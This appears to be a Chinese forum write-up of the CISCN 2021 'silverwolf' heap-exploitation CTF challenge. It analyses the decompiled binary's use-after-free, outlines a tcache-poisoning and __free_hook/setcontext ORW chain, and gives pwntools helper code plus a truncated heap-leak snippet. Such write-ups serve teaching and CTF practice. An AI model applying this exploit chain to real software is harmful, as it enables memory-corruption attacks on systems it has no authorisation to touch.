找回密码
 立即注册
首页 业界区 安全 [CISCN 2021 初赛]silverwolf WP

[CISCN 2021 初赛]silverwolf WP

庾芷秋 2025-11-28 22:25:02
一、题目来源

NSSCTF_Pwn_[CISCN 2021 初赛]silverwolf
1.png

二、信息搜集

通过 file 命令查看文件类型:
2.png

通过 checksec 命令查看文件开启的保护机制:
3.png

根据题目给的 libc 文件确定 glibc 版本是 2.27。
三、反汇编文件开始分析

程序的开头能看到设置了沙箱:
  1. __int64 sub_C70()
  2. {
  3.   __int64 v0; // rbx
  4.   setvbuf(stdin, 0, 2, 0);
  5.   setvbuf(stdout, 0, 2, 0);
  6.   setvbuf(stderr, 0, 2, 0);
  7.   v0 = seccomp_init(0);
  8.   seccomp_rule_add(v0, 2147418112, 0, 0);
  9.   seccomp_rule_add(v0, 2147418112, 2, 0);
  10.   seccomp_rule_add(v0, 2147418112, 1, 0);
  11.   return seccomp_load(v0);
  12. }
复制代码
通过工具可以分析出这个沙箱的作用:
4.png

ORW 被 ALLOW,那么本题的是不是和它有关呢?先打个问号。
5.jpeg
根据输出提示,能知道程序的四大功能(exit 就不多说了):
  1. puts("1. allocate");
  2. puts("2. edit");
  3. puts("3. show");
  4. puts("4. delete");
  5. puts("5. exit");
复制代码
逐一进行分析。
1、allocate
  1. unsigned __int64 allocate()
  2. {
  3.   size_t v1; // rbx
  4.   void *v2; // rax
  5.   size_t size; // [rsp+0h] [rbp-18h] BYREF
  6.   unsigned __int64 v4; // [rsp+8h] [rbp-10h]
  7.   v4 = __readfsqword(0x28u);
  8.   __printf_chk(1, "Index: ");
  9.   __isoc99_scanf(&unk_1144, &size);
  10.   if ( !size )
  11.   {
  12.     __printf_chk(1, "Size: ");
  13.     __isoc99_scanf(&unk_1144, &size);
  14.     v1 = size;
  15.     if ( size > 0x78 )
  16.     {
  17.       __printf_chk(1, "Too large");
  18.     }
  19.     else
  20.     {
  21.       v2 = malloc(size);
  22.       if ( v2 )
  23.       {
  24.         qword_202050 = v1;
  25.         buf = v2;
  26.         puts("Done!");
  27.       }
  28.       else
  29.       {
  30.         puts("allocate failed");
  31.       }
  32.     }
  33.   }
  34.   return __readfsqword(0x28u) ^ v4;
  35. }
复制代码
虽然让我们指定了下标(index),但是根据代码 if ( !size ) 我们知道:若要成功申请 chunk,那么 index 就只能为 0。但是,这也就意味着,我们可以一直申请 chunk,只要指定 index 为 0。
三个信息点:

  • chunk 的大小是我们自己指定的,但是最大不超过 0x78(size > 0x78 )。
  • 全局变量 qword_202050 会存放我们申请 chunk 的大小(不含 chunk header)。
  • 全局变量 buf 会指向 chunk 的 user data 部分。
2、edit
  1. unsigned __int64 edit()
  2. {
  3.   _BYTE *v0; // rbx
  4.   char *v1; // rbp
  5.   __int64 v3; // [rsp+0h] [rbp-28h] BYREF
  6.   unsigned __int64 v4; // [rsp+8h] [rbp-20h]
  7.   v4 = __readfsqword(0x28u);
  8.   __printf_chk(1, (__int64)"Index: ");
  9.   __isoc99_scanf(&unk_1144, &v3);
  10.   if ( !v3 )
  11.   {
  12.     if ( buf )
  13.     {
  14.       __printf_chk(1, (__int64)"Content: ");
  15.       v0 = buf;
  16.       if ( qword_202050 )
  17.       {
  18.         v1 = (char *)buf + qword_202050;
  19.         while ( 1 )
  20.         {
  21.           read(0, v0, 1u);
  22.           if ( *v0 == '\n' )
  23.             break;
  24.           if ( ++v0 == v1 )
  25.             return __readfsqword(0x28u) ^ v4;
  26.         }
  27.         *v0 = 0;
  28.       }
  29.     }
  30.   }
  31.   return __readfsqword(0x28u) ^ v4;
  32. }
复制代码
根据指定的下标,编辑对应 chunk 的 user data 部分。
两个关键信息:

  • 能够填入的内容的最大大小取决于全局变量 qword_202050。
  • 输入结束,若要退出循环,则需要输入换行符(\n)作为结束字符,该换行符最终会被转变成空字符"\0"。
3、show
  1. unsigned __int64 show()
  2. {
  3.   __int64 v1; // [rsp+0h] [rbp-18h] BYREF
  4.   unsigned __int64 v2; // [rsp+8h] [rbp-10h]
  5.   v2 = __readfsqword(0x28u);
  6.   __printf_chk(1, (__int64)"Index: ");
  7.   __isoc99_scanf(&unk_1144, &v1);
  8.   if ( !v1 && buf )
  9.     __printf_chk(1, (__int64)"Content: %s\n");
  10.   return __readfsqword(0x28u) ^ v2;
  11. }
复制代码
根据输入的下标,来输出对应 chunk 的 user data 部分。
对于 __printf_chk,这里单看 C 语言代码可能有点迷糊,可以结合汇编代码来理解:
  1. .text:0000000000000F0D 018 48 8B 15 44 11 20 00          mov     rdx, cs:buf
  2. .text:0000000000000F14 018 48 85 D2                      test    rdx, rdx
  3. .text:0000000000000F17 018 74 13                         jz      short loc_F2C
  4. .text:0000000000000F17
  5. .text:0000000000000F19 018 48 8D 35 57 02 00 00          lea     rsi, aContentS                  ; "Content: %s\n"
  6. .text:0000000000000F20 018 BF 01 00 00 00                mov     edi, 1
  7. .text:0000000000000F25 018 31 C0                         xor     eax, eax
  8. .text:0000000000000F27 018 E8 D4 FA FF FF                call    ___printf_chk
复制代码
函数原型:
  1. int __printf_chk(int flag, const char *format, ...);
复制代码

  • flag:用于指定检查的级别。通常由编译器根据 FORTIFY_SOURCE 的设置自动传递。flag > 0 时,启用更严格的检查,例如限制 %n 的使用。
  • format:格式化字符串,与标准 printf 的用法一致。
  • ...:可变参数列表,与 printf 的参数一致。
从汇编代码中可以看出,第三个参数(放在 rdx 中)沿用了之前的 mov rdx, cs:buf。
因此,该函数的 C 语言代码应该是:
  1. __printf_chk(1,"Content: %s\n", buf);
复制代码
4、delete
  1. unsigned __int64 del()
  2. {
  3.   __int64 v1; // [rsp+0h] [rbp-18h] BYREF
  4.   unsigned __int64 v2; // [rsp+8h] [rbp-10h]
  5.   v2 = __readfsqword(0x28u);
  6.   __printf_chk(1, (__int64)"Index: ");
  7.   __isoc99_scanf(&unk_1144, &v1);
  8.   if ( !v1 && buf )
  9.     free(buf);
  10.   return __readfsqword(0x28u) ^ v2;
  11. }
复制代码
根据指定的下标,free 指定的 chunk。但是,free 之后并没有进行指针置 NULL 的操作,因此存在 UAF 的风险。
四、思路

本题有个特点,就是你还未进行任何操作的时候,程序就已经申请了很多的 chunk 了:
6.png

目前来看并没有可以利用的信息。
本题的思路就是:

  • 通过 UAF 泄露堆基址;
  • 通过 UAF 修改 Tcache bin 中的 chunk 的 fd 指针为 Tcache 管理块;(本 Glibc 版本还没有出现 Safe-Linking 机制)
  • 将 Tcache 管理块 allocate 出来,伪造其中的 count 指针,来欺骗堆管理器(你的 bin 满了);
  • free chunk 使之进入 Unsorted bin;
  • 泄露 libc 基址;
  • 因为,有沙箱的存在,因此,打 ORW。(方法:__free_hook 劫持 + setcontext pivot)
五、Poc

1、四大功能的实现
  1. def allocate(p,size,index=b'0'):
  2.     p.sendlineafter(b'Your choice: ',b'1')
  3.     p.sendlineafter(b'Index: ',index)
  4.     p.sendlineafter(b'Size: ',str(size).encode())
  5.    
  6. def edit(p,content,index=b'0'):
  7.     p.sendlineafter(b'Your choice: ',b'2')
  8.     p.sendlineafter(b'Index: ',index)
  9.     p.sendlineafter(b'Content: ',content)
  10. def show(p,index=b'0'):
  11.     p.sendlineafter(b'Your choice: ',b'3')
  12.     p.sendlineafter(b'Index: ',index)
  13. def delete(p,index=b'0'):
  14.     p.sendlineafter(b'Your choice: ',b'4')
  15.     p.sendlineafter(b'Index: ',index)
复制代码
index 等于 0 的时候,这四个功能才有效果,因此可以设置成默认值。
2、泄露堆基址

申请一个 chunk $\to$ free 掉它 $\to$ 利用 UAF 泄露其 fd 指针的值 $\to$ 通过该值与堆基址的偏移量,得到堆基址。
假设,我们的目标是申请一个 chunk size 为 0x20 的 chunk。
通过动态调试,查看 bin 列表情况:
7.png

根据 Tcache bin 的插入采用头插法和 Tcache bin 采用 LIFO 机制,我们首次申请会得到该链表的表头即上方红箭头指向的那个。
那么,free 之后,对应的链表应该还是老样子,其对应的 fd 指向的就是 0x59313a274790。
现在,我们应该明白,为什么题目一开始要准备那么多的 chunk 了吧?
8.jpeg
原因就是,在 allocate 操作之后,我们的 free 操作有且仅能有一次。那么,如果一开始 bins 干净,那么你经过上述操作之后,由于不存在 Safe-Linking 机制,你会得到 你申请的 chunk -> 0 这样的结果。这你就实现不了堆基址的泄露了。
本部分的 Poc:
[code]allocate(p,0x10)delete(p)show(p)p.recvuntil(b'Content: ')leak = u64(p.recvline()[:-1].ljust(8,b'\x00'))heap_base = (leak >> 12 > 12

相关推荐

您需要登录后才可以回帖 登录 | 立即注册